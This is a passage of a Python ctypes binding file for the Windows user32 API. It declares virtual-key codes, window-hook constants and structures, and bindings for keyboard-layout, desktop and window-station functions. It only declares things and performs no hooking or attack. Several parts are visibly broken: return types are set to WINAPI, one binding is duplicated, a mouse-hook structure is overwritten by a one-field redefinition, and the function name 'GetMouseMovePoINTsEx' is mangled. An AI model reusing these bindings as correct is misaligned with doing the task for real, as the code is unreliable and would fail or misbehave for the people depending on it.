0x000000A0\nVK_RSHIFT = 0x000000A1\nVK_LCONTROL = 0x000000A2\nVK_RCONTROL = 0x000000A3\nVK_LMENU = 0x000000A4\nVK_RMENU = 0x000000A5\nVK_BROWSER_BACK = 0x000000A6\nVK_BROWSER_FORWARD = 0x000000A7\nVK_BROWSER_REFRESH = 0x000000A8\nVK_BROWSER_STOP = 0x000000A9\nVK_BROWSER_SEARCH = 0x000000AA\nVK_BROWSER_FAVORITES = 0x000000AB\nVK_BROWSER_HOME = 0x000000AC\nVK_VOLUME_MUTE = 0x000000AD\nVK_VOLUME_DOWN = 0x000000AE\nVK_VOLUME_UP = 0x000000AF\nVK_MEDIA_NEXT_TRACK = 0x000000B0\nVK_MEDIA_PREV_TRACK = 0x000000B1\nVK_MEDIA_STOP = 0x000000B2\nVK_MEDIA_PLAY_PAUSE = 0x000000B3\nVK_LAUNCH_MAIL = 0x000000B4\nVK_LAUNCH_MEDIA_SELECT = 0x000000B5\nVK_LAUNCH_APP1 = 0x000000B6\nVK_LAUNCH_APP2 = 0x000000B7\nVK_OEM_1 = 0x000000BA\nVK_OEM_PLUS = 0x000000BB\nVK_OEM_COMMA = 0x000000BC\nVK_OEM_MINUS = 0x000000BD\nVK_OEM_PERIOD = 0x000000BE\nVK_OEM_2 = 0x000000BF\nVK_OEM_3 = 0x000000C0\nVK_GAMEPAD_A = 0x000000C3\nVK_GAMEPAD_B = 0x000000C4\nVK_GAMEPAD_X = 0x000000C5\nVK_GAMEPAD_Y = 0x000000C6\nVK_GAMEPAD_RIGHT_SHOULDER = 0x000000C7\nVK_GAMEPAD_LEFT_SHOULDER = 0x000000C8\nVK_GAMEPAD_LEFT_TRIGGER = 0x000000C9\nVK_GAMEPAD_RIGHT_TRIGGER = 0x000000CA\nVK_GAMEPAD_DPAD_UP = 0x000000CB\nVK_GAMEPAD_DPAD_DOWN = 0x000000CC\nVK_GAMEPAD_DPAD_LEFT = 0x000000CD\nVK_GAMEPAD_DPAD_RIGHT = 0x000000CE\nVK_GAMEPAD_MENU = 0x000000CF\nVK_GAMEPAD_VIEW = 0x000000D0\nVK_GAMEPAD_LEFT_THUMBSTICK_BUTTON = 0x000000D1\nVK_GAMEPAD_RIGHT_THUMBSTICK_BUTTON = 0x000000D2\nVK_GAMEPAD_LEFT_THUMBSTICK_UP = 0x000000D3\nVK_GAMEPAD_LEFT_THUMBSTICK_DOWN = 0x000000D4\nVK_GAMEPAD_LEFT_THUMBSTICK_RIGHT = 0x000000D5\nVK_GAMEPAD_LEFT_THUMBSTICK_LEFT = 0x000000D6\nVK_GAMEPAD_RIGHT_THUMBSTICK_UP = 0x000000D7\nVK_GAMEPAD_RIGHT_THUMBSTICK_DOWN = 0x000000D8\nVK_GAMEPAD_RIGHT_THUMBSTICK_RIGHT = 0x000000D9\nVK_GAMEPAD_RIGHT_THUMBSTICK_LEFT = 0x000000DA\nVK_OEM_4 = 0x000000DB\nVK_OEM_5 = 0x000000DC\nVK_OEM_6 = 0x000000DD\nVK_OEM_7 = 0x000000DE\nVK_OEM_8 = 0x000000DF\nVK_OEM_AX = 0x000000E1\nVK_OEM_102 = 0x000000E2\nVK_ICO_HELP = 0x000000E3\nVK_ICO_00 = 0x000000E4\nVK_PROCESSKEY = 0x000000E5\nVK_ICO_CLEAR = 0x000000E6\nVK_PACKET = 0x000000E7\nVK_OEM_RESET = 0x000000E9\nVK_OEM_JUMP = 0x000000EA\nVK_OEM_PA1 = 0x000000EB\nVK_OEM_PA2 = 0x000000EC\nVK_OEM_PA3 = 0x000000ED\nVK_OEM_WSCTRL = 0x000000EE\nVK_OEM_CUSEL = 0x000000EF\nVK_OEM_ATTN = 0x000000F0\nVK_OEM_FINISH = 0x000000F1\nVK_OEM_COPY = 0x000000F2\nVK_OEM_AUTO = 0x000000F3\nVK_OEM_ENLW = 0x000000F4\nVK_OEM_BACKTAB = 0x000000F5\nVK_ATTN = 0x000000F6\nVK_CRSEL = 0x000000F7\nVK_EXSEL = 0x000000F8\nVK_EREOF = 0x000000F9\nVK_PLAY = 0x000000FA\nVK_ZOOM = 0x000000FB\nVK_NONAME = 0x000000FC\nVK_PA1 = 0x000000FD\nVK_OEM_CLEAR = 0x000000FE\nWH_MIN = -1\nWH_MSGFILTER = -1\nWH_JOURNALRECORD = 0x00000000\nWH_JOURNALPLAYBACK = 0x00000001\nWH_KEYBOARD = 0x00000002\nWH_GETMESSAGE = 0x00000003\nWH_CALLWNDPROC = 0x00000004\nWH_CBT = 0x00000005\nWH_SYSMSGFILTER = 0x00000006\nWH_MOUSE = 0x00000007\nWH_HARDWARE = 0x00000008\nWH_DEBUG = 0x00000009\nWH_SHELL = 0x0000000A\nWH_FOREGROUNDIDLE = 0x0000000B\nWH_CALLWNDPROCRET = 0x0000000C\nWH_KEYBOARD_LL = 0x0000000D\nWH_MOUSE_LL = 0x0000000E\nWH_MAX = 0x0000000E\n\nWH_MINHOOK = WH_MIN\nWH_MAXHOOK = WH_MAX\nHC_ACTION = 0x00000000\nHC_GETNEXT = 0x00000001\nHC_SKIP = 0x00000002\nHC_NOREMOVE = 0x00000003\nHC_NOREM = HC_NOREMOVE\nHC_SYSMODALON = 0x00000004\nHC_SYSMODALOFF = 0x00000005\nHCBT_MOVESIZE = 0x00000000\nHCBT_MINMAX = 0x00000001\nHCBT_QS = 0x00000002\nHCBT_CREATEWND = 0x00000003\nHCBT_DESTROYWND = 0x00000004\nHCBT_ACTIVATE = 0x00000005\nHCBT_CLICKSKIPPED = 0x00000006\nHCBT_KEYSKIPPED = 0x00000007\nHCBT_SYSCOMMAND = 0x00000008\nHCBT_SETFOCUS = 0x00000009\n\n\nclass tagCBT_CREATEWNDA(ctypes.Structure):\n pass\n\n\nCBT_CREATEWNDA = tagCBT_CREATEWNDA\nLPCBT_CREATEWNDA = POINTER(tagCBT_CREATEWNDA)\n\n\nclass tagCBT_CREATEWNDW(ctypes.Structure):\n pass\n\n\nCBT_CREATEWNDW = tagCBT_CREATEWNDW\nLPCBT_CREATEWNDW = POINTER(tagCBT_CREATEWNDW)\n\n\nCBT_CREATEWND = CBT_CREATEWNDW\nLPCBT_CREATEWND = LPCBT_CREATEWNDW\n\n\nclass tagCBTACTIVATESTRUCT(ctypes.Structure):\n _fields_ = [\n ('fMouse', BOOL),\n ('hWndActive', HWND),\n ]\n\n\nCBTACTIVATESTRUCT = tagCBTACTIVATESTRUCT\nLPCBTACTIVATESTRUCT = POINTER(tagCBTACTIVATESTRUCT)\n\n\nclass tagWTSSESSION_NOTIFICATION(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('dwSessionId', DWORD),\n ]\n\n\nWTSSESSION_NOTIFICATION = tagWTSSESSION_NOTIFICATION\nPWTSSESSION_NOTIFICATION = POINTER(tagWTSSESSION_NOTIFICATION)\n\n\nWTS_CONSOLE_CONNECT = 0x00000001\nWTS_CONSOLE_DISCONNECT = 0x00000002\nWTS_REMOTE_CONNECT = 0x00000003\nWTS_REMOTE_DISCONNECT = 0x00000004\nWTS_SESSION_LOGON = 0x00000005\nWTS_SESSION_LOGOFF = 0x00000006\nWTS_SESSION_LOCK = 0x00000007\nWTS_SESSION_UNLOCK = 0x00000008\nWTS_SESSION_REMOTE_CONTROL = 0x00000009\nWTS_SESSION_CREATE = 0x0000000A\nWTS_SESSION_TERMINATE = 0x0000000B\nMSGF_DIALOGBOX = 0x00000000\nMSGF_MESSAGEBOX = 0x00000001\nMSGF_MENU = 0x00000002\nMSGF_SCROLLBAR = 0x00000005\nMSGF_NEXTWINDOW = 0x00000006\nMSGF_MAX = 0x00000008\nMSGF_USER = 0x00001000\nHSHELL_WINDOWCREATED = 0x00000001\nHSHELL_WINDOWDESTROYED = 0x00000002\nHSHELL_ACTIVATESHELLWINDOW = 0x00000003\nHSHELL_WINDOWACTIVATED = 0x00000004\nHSHELL_GETMINRECT = 0x00000005\nHSHELL_REDRAW = 0x00000006\nHSHELL_TASKMAN = 0x00000007\nHSHELL_LANGUAGE = 0x00000008\nHSHELL_SYSMENU = 0x00000009\nHSHELL_ENDTASK = 0x0000000A\nHSHELL_ACCESSIBILITYSTATE = 0x0000000B\nHSHELL_APPCOMMAND = 0x0000000C\nHSHELL_WINDOWREPLACED = 0x0000000D\nHSHELL_WINDOWREPLACING = 0x0000000E\nHSHELL_MONITORCHANGED = 0x00000010\nHSHELL_HIGHBIT = 0x00008000\nHSHELL_FLASH = HSHELL_REDRAW | HSHELL_HIGHBIT\nHSHELL_RUDEAPPACTIVATED = HSHELL_WINDOWACTIVATED | HSHELL_HIGHBIT\nAPPCOMMAND_BROWSER_BACKWARD = 0x00000001\nAPPCOMMAND_BROWSER_FORWARD = 0x00000002\nAPPCOMMAND_BROWSER_REFRESH = 0x00000003\nAPPCOMMAND_BROWSER_STOP = 0x00000004\nAPPCOMMAND_BROWSER_SEARCH = 0x00000005\nAPPCOMMAND_BROWSER_FAVORITES = 0x00000006\nAPPCOMMAND_BROWSER_HOME = 0x00000007\nAPPCOMMAND_VOLUME_MUTE = 0x00000008\nAPPCOMMAND_VOLUME_DOWN = 0x00000009\nAPPCOMMAND_VOLUME_UP = 0x0000000A\nAPPCOMMAND_MEDIA_NEXTTRACK = 0x0000000B\nAPPCOMMAND_MEDIA_PREVIOUSTRACK = 0x0000000C\nAPPCOMMAND_MEDIA_STOP = 0x0000000D\nAPPCOMMAND_MEDIA_PLAY_PAUSE = 0x0000000E\nAPPCOMMAND_LAUNCH_MAIL = 0x0000000F\nAPPCOMMAND_LAUNCH_MEDIA_SELECT = 0x00000010\nAPPCOMMAND_LAUNCH_APP1 = 0x00000011\nAPPCOMMAND_LAUNCH_APP2 = 0x00000012\nAPPCOMMAND_BASS_DOWN = 0x00000013\nAPPCOMMAND_BASS_BOOST = 0x00000014\nAPPCOMMAND_BASS_UP = 0x00000015\nAPPCOMMAND_TREBLE_DOWN = 0x00000016\nAPPCOMMAND_TREBLE_UP = 0x00000017\nAPPCOMMAND_MICROPHONE_VOLUME_MUTE = 0x00000018\nAPPCOMMAND_MICROPHONE_VOLUME_DOWN = 0x00000019\nAPPCOMMAND_MICROPHONE_VOLUME_UP = 0x0000001A\nAPPCOMMAND_HELP = 0x0000001B\nAPPCOMMAND_FIND = 0x0000001C\nAPPCOMMAND_NEW = 0x0000001D\nAPPCOMMAND_OPEN = 0x0000001E\nAPPCOMMAND_CLOSE = 0x0000001F\nAPPCOMMAND_SAVE = 0x00000020\nAPPCOMMAND_PRINT = 0x00000021\nAPPCOMMAND_UNDO = 0x00000022\nAPPCOMMAND_REDO = 0x00000023\nAPPCOMMAND_COPY = 0x00000024\nAPPCOMMAND_CUT = 0x00000025\nAPPCOMMAND_PASTE = 0x00000026\nAPPCOMMAND_REPLY_TO_MAIL = 0x00000027\nAPPCOMMAND_FORWARD_MAIL = 0x00000028\nAPPCOMMAND_SEND_MAIL = 0x00000029\nAPPCOMMAND_SPELL_CHECK = 0x0000002A\nAPPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE = 0x0000002B\nAPPCOMMAND_MIC_ON_OFF_TOGGLE = 0x0000002C\nAPPCOMMAND_CORRECTION_LIST = 0x0000002D\nAPPCOMMAND_MEDIA_PLAY = 0x0000002E\nAPPCOMMAND_MEDIA_PAUSE = 0x0000002F\nAPPCOMMAND_MEDIA_RECORD = 0x00000030\nAPPCOMMAND_MEDIA_FAST_FORWARD = 0x00000031\nAPPCOMMAND_MEDIA_REWIND = 0x00000032\nAPPCOMMAND_MEDIA_CHANNEL_UP = 0x00000033\nAPPCOMMAND_MEDIA_CHANNEL_DOWN = 0x00000034\nAPPCOMMAND_DELETE = 0x00000035\nAPPCOMMAND_DWM_FLIP3D = 0x00000036\nFAPPCOMMAND_MOUSE = 0x00008000\nFAPPCOMMAND_KEY = 0x00000000\nFAPPCOMMAND_OEM = 0x00001000\nFAPPCOMMAND_MASK = 0x0000F000\n\n\ndef GET_APPCOMMAND_LPARAM(lParam):\n return HIWORD(lParam & ~FAPPCOMMAND_MASK)\n\n\ndef GET_DEVICE_LPARAM(lParam):\n return HIWORD(lParam & FAPPCOMMAND_MASK)\n\n\nGET_MOUSEORKEY_LPARAM = GET_DEVICE_LPARAM\n\n\ndef GET_FLAGS_LPARAM(lParam):\n return LOWORD(lParam)\n\n\ndef GET_KEYSTATE_LPARAM(lParam):\n return GET_FLAGS_LPARAM(lParam)\n\n\nclass SHELLHOOKINFO(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('rc', RECT),\n ]\n\n\nLPSHELLHOOKINFO = POINTER(SHELLHOOKINFO)\n\n\n\nclass tagEVENTMSG(ctypes.Structure):\n _fields_ = [\n ('message', UINT),\n ('paramL', UINT),\n ('paramH', UINT),\n ('time', DWORD),\n ('hwnd', HWND),\n ]\n\n\nEVENTMSG = tagEVENTMSG\nPEVENTMSGMSG = POINTER(tagEVENTMSG)\nNPEVENTMSGMSG = POINTER(tagEVENTMSG)\nLPEVENTMSGMSG = POINTER(tagEVENTMSG)\n\n\nLPEVENTMSG = POINTER(FAR)\n\n\n\nclass tagCWPSTRUCT(ctypes.Structure):\n _fields_ = [\n ('lParam', LPARAM),\n ('wParam', WPARAM),\n ('message', UINT),\n ('hwnd', HWND),\n ]\n\n\nCWPSTRUCT = tagCWPSTRUCT\nPCWPSTRUCT = POINTER(tagCWPSTRUCT)\nNPCWPSTRUCT = POINTER(tagCWPSTRUCT)\nLPCWPSTRUCT = POINTER(tagCWPSTRUCT)\n\n\n\nclass tagCWPRETSTRUCT(ctypes.Structure):\n _fields_ = [\n ('lResult', LRESULT),\n ('lParam', LPARAM),\n ('wParam', WPARAM),\n ('message', UINT),\n ('hwnd', HWND),\n ]\n\n\nCWPRETSTRUCT = tagCWPRETSTRUCT\nPCWPRETSTRUCT = POINTER(tagCWPRETSTRUCT)\nNPCWPRETSTRUCT = POINTER(tagCWPRETSTRUCT)\nLPCWPRETSTRUCT = POINTER(tagCWPRETSTRUCT)\n\n\nLLKHF_EXTENDED = KF_EXTENDED >> 8\nLLKHF_INJECTED = 0x00000010\nLLKHF_ALTDOWN = KF_ALTDOWN >> 8\nLLKHF_UP = KF_UP >> 8\nLLKHF_LOWER_IL_INJECTED = 0x00000002\nLLMHF_INJECTED = 0x00000001\nLLMHF_LOWER_IL_INJECTED = 0x00000002\n\nclass tagKBDLLHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('vkCode', DWORD),\n ('scanCode', DWORD),\n ('flags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nKBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT\nLPKBDLLHOOKSTRUCT = POINTER(tagKBDLLHOOKSTRUCT)\nPKBDLLHOOKSTRUCT = POINTER(tagKBDLLHOOKSTRUCT)\n\n\n\nclass tagMSLLHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('pt', POINT),\n ('mouseData', DWORD),\n ('flags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMSLLHOOKSTRUCT = tagMSLLHOOKSTRUCT\nLPMSLLHOOKSTRUCT = POINTER(tagMSLLHOOKSTRUCT)\nPMSLLHOOKSTRUCT = POINTER(tagMSLLHOOKSTRUCT)\n\n\n\nclass tagDEBUGHOOKINFO(ctypes.Structure):\n _fields_ = [\n ('idThread', DWORD),\n ('idThreadInstaller', DWORD),\n ('lParam', LPARAM),\n ('wParam', WPARAM),\n ('code', INT),\n ]\n\n\nDEBUGHOOKINFO = tagDEBUGHOOKINFO\nPDEBUGHOOKINFO = POINTER(tagDEBUGHOOKINFO)\nNPDEBUGHOOKINFO = POINTER(tagDEBUGHOOKINFO)\nLPDEBUGHOOKINFO = POINTER(tagDEBUGHOOKINFO)\n\n\n\nclass tagMOUSEHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('pt', POINT),\n ('hwnd', HWND),\n ('wHitTestCode', UINT),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMOUSEHOOKSTRUCT = tagMOUSEHOOKSTRUCT\nLPMOUSEHOOKSTRUCT = POINTER(tagMOUSEHOOKSTRUCT)\nPMOUSEHOOKSTRUCT = POINTER(tagMOUSEHOOKSTRUCT)\n\n\n\nclass tagMOUSEHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('mouseData', DWORD),\n ]\n\n\nMOUSEHOOKSTRUCTEX = tagMOUSEHOOKSTRUCT\nLPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCT)\nPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCT)\n\n\n\nclass tagMOUSEHOOKSTRUCTEX(ctypes.Structure):\n _fields_ = [\n ('DUMMYSTRUCTNAME', MOUSEHOOKSTRUCT),\n ('mouseData', DWORD),\n ]\n\n\nMOUSEHOOKSTRUCTEX = tagMOUSEHOOKSTRUCTEX\nLPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCTEX)\nPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCTEX)\n\n\n\nclass tagHARDWAREHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('message', UINT),\n ('wParam', WPARAM),\n ('lParam', LPARAM),\n ]\n\n\nHARDWAREHOOKSTRUCT = tagHARDWAREHOOKSTRUCT\nLPHARDWAREHOOKSTRUCT = POINTER(tagHARDWAREHOOKSTRUCT)\nPHARDWAREHOOKSTRUCT = POINTER(tagHARDWAREHOOKSTRUCT)\n\n\nHKL_PREV = 0x00000000\nHKL_NEXT = 0x00000001\nKLF_ACTIVATE = 0x00000001\nKLF_SUBSTITUTE_OK = 0x00000002\nKLF_REORDER = 0x00000008\nKLF_REPLACELANG = 0x00000010\nKLF_NOTELLSHELL = 0x00000080\nKLF_SETFORPROCESS = 0x00000100\nKLF_SHIFTLOCK = 0x00010000\nKLF_RESET = 0x40000000\nINPUTLANGCHANGE_SYSCHARSET = 0x00000001\nINPUTLANGCHANGE_FORWARD = 0x00000002\nINPUTLANGCHANGE_BACKWARD = 0x00000004\nKL_NAMELENGTH = 0x00000009\n\n# WINAPI\n# LoadKeyboardLayoutA(\n# _In_ LPCSTR pwszKLID,\n# _In_ UINT Flags);\nLoadKeyboardLayoutA = user32.LoadKeyboardLayoutA\nLoadKeyboardLayoutA.restype = WINAPI\n\n\n# WINAPI\n# LoadKeyboardLayoutW(\n# _In_ LPCWSTR pwszKLID,\n# _In_ UINT Flags);\nLoadKeyboardLayoutW = user32.LoadKeyboardLayoutW\nLoadKeyboardLayoutW.restype = WINAPI\n\nLoadKeyboardLayout = LoadKeyboardLayoutW\n# LoadKeyboardLayout = LoadKeyboardLayoutA\n\n# WINAPI\n# ActivateKeyboardLayout(\n# _In_ HKL hkl,\n# _In_ UINT Flags);\nActivateKeyboardLayout = user32.ActivateKeyboardLayout\nActivateKeyboardLayout.restype = WINAPI\n\n\n# WINAPI\n# ActivateKeyboardLayout(\n# _In_ HKL hkl,\n# _In_ UINT Flags);\nActivateKeyboardLayout = user32.ActivateKeyboardLayout\nActivateKeyboardLayout.restype = WINAPI\n\n\n# WINAPI\n# ToUnicodeEx(\n# _In_ UINT wVirtKey,\n# _In_ UINT wScanCode,\n# _In_reads_bytes_(256) CONST BYTE *lpKeyState,\n# _Out_writes_(cchBuff) LPWSTR pwszBuff,\n# _In_ INT cchBuff,\n# _In_ UINT wFlags,\n# _In_opt_ HKL dwhkl);\nToUnicodeEx = user32.ToUnicodeEx\nToUnicodeEx.restype = WINAPI\n\n\n# WINAPI\n# UnloadKeyboardLayout(\n# _In_ HKL hkl);\nUnloadKeyboardLayout = user32.UnloadKeyboardLayout\nUnloadKeyboardLayout.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardLayoutNameA(\n# _Out_writes_(KL_NAMELENGTH) LPSTR pwszKLID);\nGetKeyboardLayoutNameA = user32.GetKeyboardLayoutNameA\nGetKeyboardLayoutNameA.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardLayoutNameW(\n# _Out_writes_(KL_NAMELENGTH) LPWSTR pwszKLID);\nGetKeyboardLayoutNameW = user32.GetKeyboardLayoutNameW\nGetKeyboardLayoutNameW.restype = WINAPI\n\nGetKeyboardLayoutName = GetKeyboardLayoutNameW\n# GetKeyboardLayoutName = GetKeyboardLayoutNameA\n\n# WINAPI\n# GetKeyboardLayoutList(\n# _In_ INT nBuff,\n# _Out_writes_to_opt_(nBuff, return) HKL FAR *lpList);\nGetKeyboardLayoutList = user32.GetKeyboardLayoutList\nGetKeyboardLayoutList.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardLayout(\n# _In_ DWORD idThread);\nGetKeyboardLayout = user32.GetKeyboardLayout\nGetKeyboardLayout.restype = WINAPI\n\n\nclass tagMOUSEMOVEPOINT(ctypes.Structure):\n _fields_ = [\n ('x', INT),\n ('y', INT),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMOUSEMOVEPOINT = tagMOUSEMOVEPOINT\nPMOUSEMOVEPOINT = POINTER(tagMOUSEMOVEPOINT)\nLPMOUSEMOVEPOINT = POINTER(tagMOUSEMOVEPOINT)\n\n\nGMMP_USE_DISPLAY_POINTS = 0x00000001\nGMMP_USE_HIGH_RESOLUTION_POINTS = 0x00000002\n\n# WINAPI\n# GetMouseMovePoINTsEx(\n# _In_ UINT cbSize,\n# _In_ LPMOUSEMOVEPOINT lppt,\n# _Out_writes_(nBufPoINTs) LPMOUSEMOVEPOINT lpptBuf,\n# _In_ INT nBufPoINTs,\n# _In_ DWORD resolution);\nGetMouseMovePoINTsEx = user32.GetMouseMovePoINTsEx\nGetMouseMovePoINTsEx.restype = WINAPI\n\nDESKTOP_READOBJECTS = 0x00000001\nDESKTOP_CREATEWINDOW = 0x00000002\nDESKTOP_CREATEMENU = 0x00000004\nDESKTOP_HOOKCONTROL = 0x00000008\nDESKTOP_JOURNALRECORD = 0x00000010\nDESKTOP_JOURNALPLAYBACK = 0x00000020\nDESKTOP_ENUMERATE = 0x00000040\nDESKTOP_WRITEOBJECTS = 0x00000080\nDESKTOP_SWITCHDESKTOP = 0x00000100\nDF_ALLOWOTHERACCOUNTHOOK = 0x00000001\n\n# WINAPI\n# CreateDesktopA(\n# _In_ LPCSTR lpszDesktop,\n# _Reserved_ LPCSTR lpszDevice,\n# _Reserved_ DEVMODEA* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateDesktopA = user32.CreateDesktopA\nCreateDesktopA.restype = WINAPI\n\n\n# WINAPI\n# CreateDesktopW(\n# _In_ LPCWSTR lpszDesktop,\n# _Reserved_ LPCWSTR lpszDevice,\n# _Reserved_ DEVMODEW* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateDesktopW = user32.CreateDesktopW\nCreateDesktopW.restype = WINAPI\n\nCreateDesktop = CreateDesktopW\n# CreateDesktop = CreateDesktopA\n\n# WINAPI\n# CreateDesktopExA(\n# _In_ LPCSTR lpszDesktop,\n# _Reserved_ LPCSTR lpszDevice,\n# _Reserved_ DEVMODEA* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa,\n# _In_ ULONG ulHeapSize,\n# _Reserved_ PVOID pVOID);\nCreateDesktopExA = user32.CreateDesktopExA\nCreateDesktopExA.restype = WINAPI\n\n\n# WINAPI\n# CreateDesktopExW(\n# _In_ LPCWSTR lpszDesktop,\n# _Reserved_ LPCWSTR lpszDevice,\n# _Reserved_ DEVMODEW* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa,\n# _In_ ULONG ulHeapSize,\n# _Reserved_ PVOID pVOID);\nCreateDesktopExW = user32.CreateDesktopExW\nCreateDesktopExW.restype = WINAPI\n\nCreateDesktopEx = CreateDesktopExW\n# CreateDesktopEx = CreateDesktopExA\n\n# WINAPI\n# OpenDesktopA(\n# _In_ LPCSTR lpszDesktop,\n# _In_ DWORD dwFlags,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenDesktopA = user32.OpenDesktopA\nOpenDesktopA.restype = WINAPI\n\n\n# WINAPI\n# OpenDesktopW(\n# _In_ LPCWSTR lpszDesktop,\n# _In_ DWORD dwFlags,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenDesktopW = user32.OpenDesktopW\nOpenDesktopW.restype = WINAPI\n\nOpenDesktop = OpenDesktopW\n# OpenDesktop = OpenDesktopA\n\n# WINAPI\n# OpenInputDesktop(\n# _In_ DWORD dwFlags,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenInputDesktop = user32.OpenInputDesktop\nOpenInputDesktop.restype = WINAPI\n\n\n# WINAPI\n# EnumDesktopsA(\n# _In_opt_ HWINSTA hwinsta,\n# _In_ DESKTOPENUMPROCA lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumDesktopsA = user32.EnumDesktopsA\nEnumDesktopsA.restype = WINAPI\n\n\n# WINAPI\n# EnumDesktopsW(\n# _In_opt_ HWINSTA hwinsta,\n# _In_ DESKTOPENUMPROCW lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumDesktopsW = user32.EnumDesktopsW\nEnumDesktopsW.restype = WINAPI\n\nEnumDesktops = EnumDesktopsW\n# EnumDesktops = EnumDesktopsA\n\n# WINAPI\n# EnumDesktopWindows(\n# _In_opt_ HDESK hDesktop,\n# _In_ WNDENUMPROC lpfn,\n# _In_ LPARAM lParam);\nEnumDesktopWindows = user32.EnumDesktopWindows\nEnumDesktopWindows.restype = WINAPI\n\n\n# WINAPI\n# SwitchDesktop(\n# _In_ HDESK hDesktop);\nSwitchDesktop = user32.SwitchDesktop\nSwitchDesktop.restype = WINAPI\n\n\n# WINAPI\n# SetThreadDesktop(\n# _In_ HDESK hDesktop);\nSetThreadDesktop = user32.SetThreadDesktop\nSetThreadDesktop.restype = WINAPI\n\n\n# WINAPI\n# CloseDesktop(\n# _In_ HDESK hDesktop);\nCloseDesktop = user32.CloseDesktop\nCloseDesktop.restype = WINAPI\n\n\n# WINAPI\n# GetThreadDesktop(\n# _In_ DWORD dwThreadId);\nGetThreadDesktop = user32.GetThreadDesktop\nGetThreadDesktop.restype = WINAPI\n\nWINSTA_ENUMDESKTOPS = 0x00000001\nWINSTA_READATTRIBUTES = 0x00000002\nWINSTA_ACCESSCLIPBOARD = 0x00000004\nWINSTA_CREATEDESKTOP = 0x00000008\nWINSTA_WRITEATTRIBUTES = 0x00000010\nWINSTA_ACCESSGLOBALATOMS = 0x00000020\nWINSTA_EXITWINDOWS = 0x00000040\nWINSTA_ENUMERATE = 0x00000100\nWINSTA_READSCREEN = 0x00000200\nWINSTA_ALL_ACCESS = (\n WINSTA_ENUMDESKTOPS |\n WINSTA_READATTRIBUTES |\n WINSTA_ACCESSCLIPBOARD |\n WINSTA_CREATEDESKTOP |\n WINSTA_WRITEATTRIBUTES |\n WINSTA_ACCESSGLOBALATOMS |\n WINSTA_EXITWINDOWS |\n WINSTA_ENUMERATE |\n WINSTA_READSCREEN\n)\nCWF_CREATE_ONLY = 0x00000001\nWSF_VISIBLE = 0x00000001\n\n# WINAPI\n# CreateWindowStationA(\n# _In_opt_ LPCSTR lpwinsta,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateWindowStationA = user32.CreateWindowStationA\nCreateWindowStationA.restype = WINAPI\n\n\n# WINAPI\n# CreateWindowStationW(\n# _In_opt_ LPCWSTR lpwinsta,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateWindowStationW = user32.CreateWindowStationW\nCreateWindowStationW.restype = WINAPI\n\nCreateWindowStation = CreateWindowStationW\n# CreateWindowStation = CreateWindowStationA\n\n# WINAPI\n# OpenWindowStationA(\n# _In_ LPCSTR lpszWinSta,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenWindowStationA = user32.OpenWindowStationA\nOpenWindowStationA.restype = WINAPI\n\n\n# WINAPI\n# OpenWindowStationW(\n# _In_ LPCWSTR lpszWinSta,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenWindowStationW = user32.OpenWindowStationW\nOpenWindowStationW.restype = WINAPI\n\nOpenWindowStation = OpenWindowStationW\n# OpenWindowStation = OpenWindowStationA\n\n# WINAPI\n# EnumWindowStationsA(\n# _In_ WINSTAENUMPROCA lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumWindowStationsA = user32.EnumWindowStationsA\nEnumWindowStationsA.restype = WINAPI\n\n\n# WINAPI\n# EnumWindowStationsW(\n# _In_ WINSTAENUMPROCW lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumWindowStationsW = user32.EnumWindowStationsW\nEnumWindowStationsW.restype = WINAPI\n\nEnumWindowStations = EnumWindowStationsW\n# EnumWindowStations = EnumWindowStationsA\n\n# WINAPI\n# CloseWindowStation(\n# _In_ HWINSTA hWinSta);\nCloseWindowStation = user32.CloseWindowStation\nCloseWindowStation.restype = WINAPI\n\n\n# WINAPI\n# 